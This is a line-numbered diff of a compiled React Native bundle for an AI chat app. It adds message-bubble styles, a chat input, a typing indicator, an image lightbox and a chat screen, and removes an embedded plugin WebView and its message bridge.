1306
+ row: {
1307
+ flexDirection: "row",
1308
+ alignItems: "flex-end",
1309
+ marginBottom: 12,
1310
+ paddingHorizontal: 12,
1311
+ gap: 8
1312
+ },
1313
+ rowUser: {
1314
+ justifyContent: "flex-end"
1315
+ },
1316
+ avatarOrb: {
1317
+ width: 28,
1318
+ height: 28,
1319
+ justifyContent: "center",
1320
+ alignItems: "center"
1321
+ },
1322
+ avatarSpacer: {
1323
+ width: 28,
1324
+ height: 28
1325
+ },
1326
+ bubble: {
1327
+ maxWidth: "78%",
1328
+ backgroundColor: import_core9.ada.botBubble,
1329
+ borderWidth: 1,
1330
+ borderColor: import_core9.ada.botBubbleBorder,
1331
+ borderRadius: import_core9.borderRadius.xl,
1332
+ paddingHorizontal: 16,
1333
+ paddingVertical: 12
1334
+ },
1335
+ bubbleUser: {
1336
+ backgroundColor: import_core9.ada.userBubble,
1337
+ borderColor: "transparent"
1338
+ },
1339
+ bubbleSystem: {
1340
+ backgroundColor: import_core9.ada.orangeSoft,
1341
+ borderColor: import_core9.ada.orange,
1342
+ maxWidth: "90%"
1343
+ },
1344
+ bubbleNotification: {
1345
+ backgroundColor: import_core9.ada.orangeSoft,
1346
+ borderColor: "rgba(255, 122, 40, 0.35)",
1347
+ borderRadius: import_core9.borderRadius.lg,
1348
+ maxWidth: "90%"
1349
+ },
1350
+ notificationLeftStripe: {
1351
+ width: 3,
1352
+ alignSelf: "stretch",
1353
+ backgroundColor: import_core9.ada.orange,
1354
+ borderRadius: 2,
1355
+ marginRight: 4
1356
+ },
1357
+ notificationHeader: {
1358
+ flexDirection: "row",
1359
+ alignItems: "center",
1360
+ gap: 6,
1361
+ marginBottom: 6
1362
+ },
1363
+ notificationHeaderIcon: {
1364
+ fontSize: 12
1365
+ },
1366
+ notificationHeaderText: {
1367
+ color: import_core9.ada.orangeDeep,
1368
+ fontSize: 11,
1369
+ fontWeight: "700",
1370
+ letterSpacing: 0.6,
1371
+ textTransform: "uppercase",
1372
+ fontFamily: fontFam3
1373
+ },
1374
+ userText: {
1375
+ color: import_core9.ada.userBubbleText,
1376
+ fontSize: import_core9.fontSize.md,
1377
+ lineHeight: 22,
1378
+ fontFamily: fontFam3
1379
+ },
1380
+ timeText: {
1381
+ fontSize: 11,
1382
+ color: import_core9.ada.inkMuted,
1383
+ alignSelf: "flex-end",
1384
+ marginTop: 4,
1385
+ fontFamily: fontFam3
1386
+ },
1387
+ timeTextUser: {
1388
+ color: "rgba(250,246,238,0.55)"
1389
+ },
1390
+ attachments: {
1391
+ flexDirection: "row",
1392
+ flexWrap: "wrap",
1393
+ gap: 6,
1394
+ marginBottom: 8
1395
+ },
1396
+ attachmentImage: {
1397
+ width: 120,
1398
+ height: 90,
1399
+ borderRadius: 8
1400
+ },
1401
+ attachmentFile: {
1402
+ backgroundColor: "rgba(255,255,255,0.15)",
1403
+ borderRadius: 8,
1404
+ paddingHorizontal: 10,
1405
+ paddingVertical: 6
1406
+ },
1407
+ attachmentFileName: {
1408
+ color: "rgba(255,255,255,0.8)",
1409
+ fontSize: 11,
1410
+ maxWidth: 100
1411
+ },
1412
+ copiedBadge: {
1413
+ position: "absolute",
1414
+ top: 6,
1415
+ right: 6,
1416
+ backgroundColor: "#5A8A5C",
1417
+ paddingHorizontal: 8,
1418
+ paddingVertical: 2,
1419
+ borderRadius: import_core9.borderRadius.sm
1420
+ },
1421
+ copiedText: {
1422
+ color: "#fff",
1423
+ fontSize: import_core9.fontSize.xs,
1424
+ fontWeight: "600"
1425
+ },
1426
+ toolCalls: {
1427
+ marginTop: 8,
1428
+ borderTopWidth: 1,
1429
+ borderTopColor: import_core9.ada.border,
1430
+ paddingTop: 6
1431
+ },
1432
+ toolToggle: {
1433
+ flexDirection: "row",
1434
+ alignItems: "center",
1435
+ gap: 6
1436
+ },
1437
+ toolLabel: {
1438
+ color: import_core9.ada.inkSoft,
1439
+ fontSize: import_core9.fontSize.xs,
1440
+ fontWeight: "500"
1441
+ },
1442
+ toolChevron: {
1443
+ color: import_core9.ada.inkMuted,
1444
+ fontSize: 8
1445
+ },
1446
+ toolItem: {
1447
+ marginTop: 4,
1448
+ paddingLeft: 8
1449
+ },
1450
+ toolName: {
1451
+ color: import_core9.ada.inkSoft,
1452
+ fontSize: import_core9.fontSize.xs,
1453
+ fontFamily: "monospace"
1454
+ },
1455
+ toolSkill: {
1456
+ color: import_core9.ada.orangeDeep,
1457
+ fontSize: import_core9.fontSize.xs
1458
+ }
1459
+ });
1460
+ var markdownStyles = import_react_native7.StyleSheet.create({
1461
+ body: {
1462
+ color: import_core9.ada.botBubbleText,
1463
+ fontSize: import_core9.fontSize.md,
1464
+ lineHeight: 22,
1465
+ fontFamily: fontFam3
1466
+ },
1467
+ paragraph: {
1468
+ marginTop: 0,
1469
+ marginBottom: 4
1470
+ },
1471
+ strong: {
1472
+ fontWeight: "700",
1473
+ color: import_core9.ada.botBubbleText
1474
+ },
1475
+ em: {
1476
+ fontStyle: "italic"
1477
+ },
1478
+ code_inline: {
1479
+ backgroundColor: import_core9.ada.paperDeep,
1480
+ color: import_core9.ada.orangeDeep,
1481
+ paddingHorizontal: 5,
1482
+ paddingVertical: 1,
1483
+ borderRadius: 4,
1484
+ fontFamily: "monospace",
1485
+ fontSize: import_core9.fontSize.sm
1486
+ },
1487
+ fence: {
1488
+ backgroundColor: import_core9.ada.paperDeep,
1489
+ padding: 10,
1490
+ borderRadius: 10
1491
+ },
1492
+ fenceText: {
1493
+ fontFamily: "monospace",
1494
+ fontSize: import_core9.fontSize.sm,
1495
+ color: import_core9.ada.ink
1496
+ },
1497
+ link: {
1498
+ color: import_core9.ada.orangeDeep
1499
+ },
1500
+ list_item: {
1501
+ color: import_core9.ada.botBubbleText
1502
+ },
1503
+ bullet_list: {
1504
+ marginVertical: 4
1396
1505
  }
1506
+ });
1397
1507
 
1398
- // 3. Override window.parent.postMessage (plugins use this in iframes)
1399
- window.parent = window.parent || {};
1400
- window.parent.postMessage = function(data, origin) {
1401
- if (data && data.source === 'adas-plugin') {
1402
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
1403
- }
1404
- };
1508
+ // src/chat/TypingIndicator.tsx
1509
+ var import_react_native8 = require("react-native");
1510
+ var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
1511
+ var import_jsx_runtime9 = require("react/jsx-runtime");
1512
+ function TypingIndicator() {
1513
+ return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native8.View, { style: styles7.row, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_plugin_runtime7.AdaOrb, { size: 32, state: "thinking" }) });
1514
+ }
1515
+ var styles7 = import_react_native8.StyleSheet.create({
1516
+ row: {
1517
+ flexDirection: "row",
1518
+ alignItems: "center",
1519
+ marginBottom: 12,
1520
+ paddingHorizontal: 16,
1521
+ paddingVertical: 4
1522
+ }
1523
+ });
1405
1524
 
1406
- // 4. Also intercept direct window.postMessage
1407
- var origPost = window.postMessage.bind(window);
1408
- window.postMessage = function(data, origin) {
1409
- if (data && data.source === 'adas-plugin') {
1410
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
1525
+ // src/chat/ChatInput.tsx
1526
+ var import_react8 = require("react");
1527
+ var import_react_native9 = require("react-native");
1528
+ var import_react_native_svg = __toESM(require("react-native-svg"));
1529
+ var import_core10 = require("@ateam-ai-mobile/core");
1530
+ var import_plugin_runtime8 = require("@ateam-ai-mobile/plugin-runtime");
1531
+ var import_jsx_runtime10 = require("react/jsx-runtime");
1532
+ function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
1533
+ const [text, setText] = (0, import_react8.useState)("");
1534
+ const [height, setHeight] = (0, import_react8.useState)(40);
1535
+ const inputRef = (0, import_react8.useRef)(null);
1536
+ (0, import_react8.useEffect)(() => {
1537
+ if (prefill) {
1538
+ setText(prefill);
1539
+ inputRef.current?.focus();
1411
1540
  }
1412
- origPost(data, origin);
1413
- };
1414
-
1415
- // 5. Forward messages from RN host -> plugin
1416
- // iOS: window 'message' event, Android: document 'message' event
1417
- window.addEventListener('message', function(e) {
1418
- try {
1419
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1420
- if (d && d.source === 'adas-host') {
1421
- _handleHostMessage(d);
1422
- if (typeof e.data === 'string') {
1423
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1541
+ }, [prefill]);
1542
+ const handleSend = (0, import_react8.useCallback)(() => {
1543
+ const trimmed = text.trim();
1544
+ if (!trimmed) return;
1545
+ (0, import_plugin_runtime8.getHaptics)()?.impact("light");
1546
+ onSend(trimmed);
1547
+ setText("");
1548
+ setHeight(40);
1549
+ }, [text, loading, onSend]);
1550
+ const canSend = text.trim().length > 0;
1551
+ return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.View, { style: styles8.dock, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native9.View, { style: styles8.inputRow, children: [
1552
+ onCallStart && /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.Pressable, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core10.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
1553
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1554
+ import_react_native9.TextInput,
1555
+ {
1556
+ ref: inputRef,
1557
+ style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
1558
+ value: text,
1559
+ onChangeText: setText,
1560
+ onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
1561
+ placeholder: placeholder || "Message A-Team...",
1562
+ placeholderTextColor: import_core10.colors.light.textMuted,
1563
+ multiline: true,
1564
+ returnKeyType: "default",
1565
+ blurOnSubmit: false,
1566
+ onSubmitEditing: () => {
1567
+ if (import_react_native9.Platform.OS === "web") handleSend();
1424
1568
  }
1425
1569
  }
1426
- } catch(_) {}
1427
- });
1428
-
1429
- document.addEventListener('message', function(e) {
1430
- try {
1431
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1432
- _handleHostMessage(d);
1433
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1434
- } catch(_) {}
1435
- });
1436
-
1437
- _dbg('Bridge JS loaded. Waiting for plugin...');
1438
- true;
1439
- })();
1440
- `;
1441
- }
1442
-
1443
- // src/plugin/EmbeddedPluginWebView.tsx
1444
- var import_jsx_runtime9 = require("react/jsx-runtime");
1445
- function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
1446
- const [error, setError] = (0, import_react6.useState)(null);
1447
- const token = (0, import_core9.getToken)();
1448
- const tenant = (0, import_core9.getTenant)();
1449
- const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
1450
- const url = (0, import_plugin_runtime5.resolvePluginUrl)(manifest, tenant || void 0);
1451
- const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
1452
- const allowedHosts = (0, import_react6.useMemo)(() => {
1453
- const hosts = /* @__PURE__ */ new Set();
1454
- const urls = [(0, import_core9.getCoreApiUrl)()];
1455
- const voice = (0, import_core9.getConfig)().voiceUrl;
1456
- if (voice) urls.push(voice);
1457
- for (const u of urls) {
1458
- try {
1459
- hosts.add(new URL(u).hostname);
1460
- } catch {
1570
+ ),
1571
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1572
+ import_react_native9.Pressable,
1573
+ {
1574
+ style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
1575
+ onPress: handleSend,
1576
+ disabled: !canSend,
1577
+ children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core10.colors.light.textMuted, strokeWidth: 2, children: [
1578
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
1579
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
1580
+ ] })
1461
1581
  }
1462
- }
1463
- return hosts;
1464
- }, []);
1465
- const isAllowedPluginUrl = (0, import_react6.useCallback)((rawUrl) => {
1466
- if (!rawUrl) return false;
1467
- let parsed;
1468
- try {
1469
- parsed = new URL(rawUrl);
1470
- } catch {
1471
- return false;
1472
- }
1473
- if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
1474
- if (parsed.protocol === "http:") return false;
1475
- return allowedHosts.has(parsed.hostname);
1476
- }, [allowedHosts]);
1477
- const originWhitelist = (0, import_react6.useMemo)(
1478
- () => Array.from(allowedHosts).map((h) => `https://${h}`),
1479
- [allowedHosts]
1480
- );
1481
- if (error) {
1482
- return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.center, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.errorText, children: error }) });
1483
- }
1484
- return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.container, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
1485
- import_react_native_webview.WebView,
1486
- {
1487
- ref: webViewRef,
1488
- source: { uri: url },
1489
- style: styles9.webview,
1490
- javaScriptEnabled: true,
1491
- domStorageEnabled: true,
1492
- allowsInlineMediaPlayback: true,
1493
- mediaPlaybackRequiresUserAction: false,
1494
- mixedContentMode: "never",
1495
- originWhitelist,
1496
- allowsBackForwardNavigationGestures: false,
1497
- setSupportMultipleWindows: false,
1498
- javaScriptCanOpenWindowsAutomatically: false,
1499
- onShouldStartLoadWithRequest: (req) => {
1500
- if (!isAllowedPluginUrl(req.url)) {
1501
- console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
1502
- return false;
1503
- }
1504
- return true;
1505
- },
1506
- injectedJavaScriptBeforeContentLoaded: bridgeJS,
1507
- onMessage: handleMessage,
1508
- onLoad: () => {
1509
- setTimeout(sendInit, 100);
1510
- setTimeout(sendInit, 500);
1511
- setTimeout(sendInit, 1200);
1512
- },
1513
- onError: (syntheticEvent) => {
1514
- const { nativeEvent } = syntheticEvent;
1515
- console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
1516
- setError(`WebView error: ${nativeEvent.description}`);
1517
- },
1518
- onHttpError: (syntheticEvent) => {
1519
- const { nativeEvent } = syntheticEvent;
1520
- console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
1521
- if (nativeEvent.statusCode >= 400) {
1522
- setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
1523
- }
1524
- },
1525
- startInLoadingState: true,
1526
- renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_react_native9.View, { style: styles9.webviewLoading, children: [
1527
- /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.ActivityIndicator, { size: "small", color: import_core9.ada.orange }),
1528
- /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.loadingText, children: "Loading plugin..." })
1529
- ] }),
1530
- ...import_react_native9.Platform.OS === "ios" ? { bounces: false } : {}
1531
- }
1532
- ) });
1582
+ )
1583
+ ] }) });
1533
1584
  }
1534
- var styles9 = import_react_native9.StyleSheet.create({
1535
- container: {
1536
- flex: 1,
1537
- backgroundColor: import_core9.ada.paper
1585
+ var styles8 = import_react_native9.StyleSheet.create({
1586
+ dock: {
1587
+ paddingHorizontal: 12,
1588
+ paddingVertical: 8,
1589
+ backgroundColor: import_core10.colors.light.bgPrimary,
1590
+ borderTopWidth: 0.5,
1591
+ borderTopColor: import_core10.colors.light.border
1538
1592
  },
1539
- center: {
1540
- flex: 1,
1541
- justifyContent: "center",
1542
- alignItems: "center",
1543
- backgroundColor: import_core9.ada.paper,
1544
- paddingHorizontal: 32
1593
+ inputRow: {
1594
+ flexDirection: "row",
1595
+ alignItems: "flex-end",
1596
+ backgroundColor: import_core10.colors.light.bgInput,
1597
+ borderRadius: import_core10.borderRadius.xl,
1598
+ borderWidth: 1,
1599
+ borderColor: import_core10.colors.light.border,
1600
+ paddingHorizontal: 4,
1601
+ paddingVertical: 4,
1602
+ gap: 4
1545
1603
  },
1546
- errorText: {
1547
- color: "#C15545",
1548
- fontSize: 16,
1549
- textAlign: "center"
1604
+ callBtn: {
1605
+ width: 36,
1606
+ height: 36,
1607
+ borderRadius: 18,
1608
+ justifyContent: "center",
1609
+ alignItems: "center"
1550
1610
  },
1551
- webview: {
1611
+ input: {
1552
1612
  flex: 1,
1553
- backgroundColor: import_core9.ada.paper
1613
+ fontSize: 16,
1614
+ color: import_core10.colors.light.textPrimary,
1615
+ paddingHorizontal: 8,
1616
+ paddingVertical: 8,
1617
+ maxHeight: 120
1554
1618
  },
1555
- webviewLoading: {
1556
- position: "absolute",
1557
- top: 0,
1558
- left: 0,
1559
- right: 0,
1560
- bottom: 0,
1619
+ sendBtn: {
1620
+ width: 36,
1621
+ height: 36,
1622
+ borderRadius: 18,
1561
1623
  justifyContent: "center",
1562
1624
  alignItems: "center",
1563
- backgroundColor: import_core9.ada.paper,
1564
- gap: 12
1625
+ backgroundColor: import_core10.colors.light.bgTertiary
1565
1626
  },
1566
- loadingText: {
1567
- color: import_core9.ada.inkSoft,
1568
- fontSize: 14
1627
+ sendBtnActive: {
1628
+ backgroundColor: import_core10.colors.light.accent
1569
1629
  }
1570
1630
  });
1571
1631
 
1572
- // src/plugin/Plugin.tsx
1573
- var import_jsx_runtime10 = require("react/jsx-runtime");
1574
- var PluginErrorBoundary = class extends import_react7.default.Component {
1575
- constructor() {
1576
- super(...arguments);
1577
- this.state = { hasError: false, error: null };
1578
- }
1579
- static getDerivedStateFromError(error) {
1580
- return { hasError: true, error };
1581
- }
1582
- componentDidCatch(error, info) {
1583
- console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
1632
+ // src/Lightbox.tsx
1633
+ var import_react_native10 = require("react-native");
1634
+ var import_core11 = require("@ateam-ai-mobile/core");
1635
+ var import_jsx_runtime11 = require("react/jsx-runtime");
1636
+ function Lightbox() {
1637
+ const uri = useLightboxStore((s) => s.uri);
1638
+ const hide = useLightboxStore((s) => s.hide);
1639
+ if (!uri) return null;
1640
+ return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_react_native10.Pressable, { style: styles9.backdrop, onPress: hide, children: [
1641
+ /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1642
+ import_react_native10.Image,
1643
+ {
1644
+ source: {
1645
+ uri,
1646
+ ...uri.startsWith("http") ? {
1647
+ headers: { Authorization: `Bearer ${(0, import_core11.getConfig)().tokenProvider.getToken()}` }
1648
+ } : {}
1649
+ },
1650
+ style: styles9.image,
1651
+ resizeMode: "contain"
1652
+ }
1653
+ ),
1654
+ /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.View, { style: styles9.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Text, { style: styles9.closeHintText, children: "Tap to close" }) })
1655
+ ] }) });
1656
+ }
1657
+ var styles9 = import_react_native10.StyleSheet.create({
1658
+ backdrop: {
1659
+ flex: 1,
1660
+ backgroundColor: "rgba(0,0,0,0.92)",
1661
+ justifyContent: "center"
1662
+ },
1663
+ image: {
1664
+ width: "100%",
1665
+ height: "85%"
1666
+ },
1667
+ closeHint: {
1668
+ position: "absolute",
1669
+ bottom: 40,
1670
+ alignSelf: "center"
1671
+ },
1672
+ closeHintText: {
1673
+ color: "rgba(255,255,255,0.6)",
1674
+ fontSize: 13
1584
1675
  }
1585
- render() {
1586
- if (this.state.hasError) {
1587
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.error, children: [
1588
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorTitle, children: "Plugin Error" }),
1589
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
1590
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1591
- import_react_native10.Pressable,
1676
+ });
1677
+
1678
+ // src/AdasChatScreen.tsx
1679
+ var import_jsx_runtime12 = require("react/jsx-runtime");
1680
+ function isSameDay2(a, b) {
1681
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1682
+ }
1683
+ function AdasChatScreen({
1684
+ onCallStart,
1685
+ placeholder,
1686
+ footerAccessory,
1687
+ withLightbox = true
1688
+ }) {
1689
+ const messages = (0, import_core12.useChatStore)((s) => s.messages);
1690
+ const loading = (0, import_core12.useChatStore)((s) => s.loading);
1691
+ const conversationLoaded = (0, import_core12.useChatStore)((s) => s.conversationLoaded);
1692
+ const loadConversation = (0, import_core12.useChatStore)((s) => s.loadConversation);
1693
+ const sendMessage = (0, import_core12.useChatStore)((s) => s.sendMessage);
1694
+ const listRef = (0, import_react9.useRef)(null);
1695
+ const [refreshing, setRefreshing] = (0, import_react9.useState)(false);
1696
+ const [prefill, setPrefill] = (0, import_react9.useState)("");
1697
+ (0, import_react9.useEffect)(() => {
1698
+ if (!conversationLoaded) loadConversation();
1699
+ }, [conversationLoaded, loadConversation]);
1700
+ (0, import_react9.useEffect)(() => {
1701
+ const unsub = import_core12.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
1702
+ if (text) setPrefill(text);
1703
+ });
1704
+ return unsub;
1705
+ }, []);
1706
+ const useInverted = import_react_native11.Platform.OS !== "web";
1707
+ const listData = (0, import_react9.useMemo)(
1708
+ () => useInverted ? [...messages].reverse() : messages,
1709
+ [messages, useInverted]
1710
+ );
1711
+ const scrollToLatest = (0, import_react9.useCallback)((animated) => {
1712
+ if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1713
+ else listRef.current?.scrollToEnd({ animated });
1714
+ }, [useInverted]);
1715
+ const handleSend = (0, import_react9.useCallback)((text) => {
1716
+ setPrefill("");
1717
+ sendMessage(text);
1718
+ scrollToLatest(true);
1719
+ }, [sendMessage, scrollToLatest]);
1720
+ const handleRefresh = (0, import_react9.useCallback)(async () => {
1721
+ setRefreshing(true);
1722
+ try {
1723
+ await loadConversation();
1724
+ } catch {
1725
+ }
1726
+ setRefreshing(false);
1727
+ }, [loadConversation]);
1728
+ const renderItem = (0, import_react9.useCallback)(({ item, index }) => {
1729
+ const older = useInverted ? listData[index + 1] : listData[index - 1];
1730
+ const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1731
+ return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native11.View, { children: [
1732
+ showDaySep && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(DaySeparator, { date: item.timestamp }),
1733
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(MessageBubble, { message: item })
1734
+ ] });
1735
+ }, [listData, useInverted]);
1736
+ const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(TypingIndicator, {}) : null;
1737
+ return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(
1738
+ import_react_native11.KeyboardAvoidingView,
1739
+ {
1740
+ style: styles10.root,
1741
+ behavior: import_react_native11.Platform.OS === "ios" ? "padding" : void 0,
1742
+ children: [
1743
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1744
+ import_react_native11.FlatList,
1592
1745
  {
1593
- style: styles10.retryBtn,
1594
- onPress: () => this.setState({ hasError: false, error: null }),
1595
- children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.retryText, children: "Retry" })
1746
+ ref: listRef,
1747
+ style: styles10.list,
1748
+ data: listData,
1749
+ inverted: useInverted,
1750
+ keyExtractor: (m) => m.id,
1751
+ renderItem,
1752
+ ListHeaderComponent: useInverted ? typingIndicator : null,
1753
+ ListFooterComponent: useInverted ? null : typingIndicator,
1754
+ onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1755
+ refreshControl: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native11.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core12.ada.orange }),
1756
+ keyboardShouldPersistTaps: "handled",
1757
+ contentContainerStyle: styles10.listContent
1758
+ }
1759
+ ),
1760
+ footerAccessory,
1761
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1762
+ ChatInput,
1763
+ {
1764
+ onSend: handleSend,
1765
+ onCallStart,
1766
+ loading,
1767
+ prefill,
1768
+ placeholder
1596
1769
  }
1597
- )
1598
- ] });
1770
+ ),
1771
+ withLightbox && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(Lightbox, {}),
1772
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(WidgetHost, {})
1773
+ ]
1599
1774
  }
1600
- return this.props.children;
1601
- }
1602
- };
1603
- function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
1604
- const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime6.usePlugin)(id, manifest);
1605
- const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
1606
- const bridge = (0, import_plugin_runtime6.useNativeBridge)(id, connectorId, commandBufferRef);
1607
- const native = (0, import_plugin_runtime6.getPluginNative)();
1608
- const theme = (0, import_plugin_runtime6.usePluginTheme)();
1609
- const user = (0, import_core10.getUser)();
1610
- const context = (0, import_react7.useMemo)(() => ({
1611
- tenant: (0, import_core10.getTenant)(),
1612
- pluginId: id,
1613
- connectorId,
1614
- user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
1615
- }), [id, connectorId, user?.actorId, user?.name]);
1616
- const iframeUrl = manifest?.render?.iframeUrl;
1617
- if (bundleMissing && iframeUrl) {
1618
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
1619
- }
1620
- if (loading) {
1621
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.center, children: [
1622
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.ActivityIndicator, { size: "small", color: import_core10.colors.dark.accent }),
1623
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.loadingText, children: "Loading plugin..." })
1624
- ] });
1625
- }
1626
- if (error || !plugin) {
1627
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.View, { style: styles10.center, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
1628
- }
1629
- const { Component } = plugin;
1630
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
1775
+ );
1631
1776
  }
1632
- var styles10 = import_react_native10.StyleSheet.create({
1633
- center: {
1634
- flex: 1,
1635
- justifyContent: "center",
1636
- alignItems: "center",
1637
- backgroundColor: import_core10.colors.dark.bgPrimary,
1638
- paddingHorizontal: 32,
1639
- gap: 12
1640
- },
1641
- loadingText: {
1642
- color: import_core10.colors.dark.textSecondary,
1643
- fontSize: 14
1644
- },
1645
- error: {
1777
+ var styles10 = import_react_native11.StyleSheet.create({
1778
+ root: {
1646
1779
  flex: 1,
1647
- justifyContent: "center",
1648
- alignItems: "center",
1649
- backgroundColor: import_core10.colors.dark.bgPrimary,
1650
- paddingHorizontal: 32,
1651
- gap: 8
1652
- },
1653
- errorTitle: {
1654
- color: import_core10.colors.dark.red,
1655
- fontSize: 16,
1656
- fontWeight: "600"
1657
- },
1658
- errorMessage: {
1659
- color: import_core10.colors.dark.textSecondary,
1660
- fontSize: 14,
1661
- textAlign: "center"
1780
+ backgroundColor: import_core12.ada.paper
1662
1781
  },
1663
- retryBtn: {
1664
- marginTop: 12,
1665
- paddingHorizontal: 20,
1666
- paddingVertical: 10,
1667
- backgroundColor: import_core10.colors.dark.accentSoft,
1668
- borderRadius: 8
1782
+ list: {
1783
+ flex: 1
1669
1784
  },
1670
- retryText: {
1671
- color: import_core10.colors.dark.accent,
1672
- fontSize: 14,
1673
- fontWeight: "600"
1785
+ listContent: {
1786
+ paddingVertical: 12
1674
1787
  }
1675
1788
  });
1676
1789
 
1677
- // src/plugin/PluginSurface.tsx
1678
- var import_react8 = require("react");
1679
- var import_react_native11 = require("react-native");
1680
- var import_core11 = require("@ateam-ai-mobile/core");
1681
- var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
1682
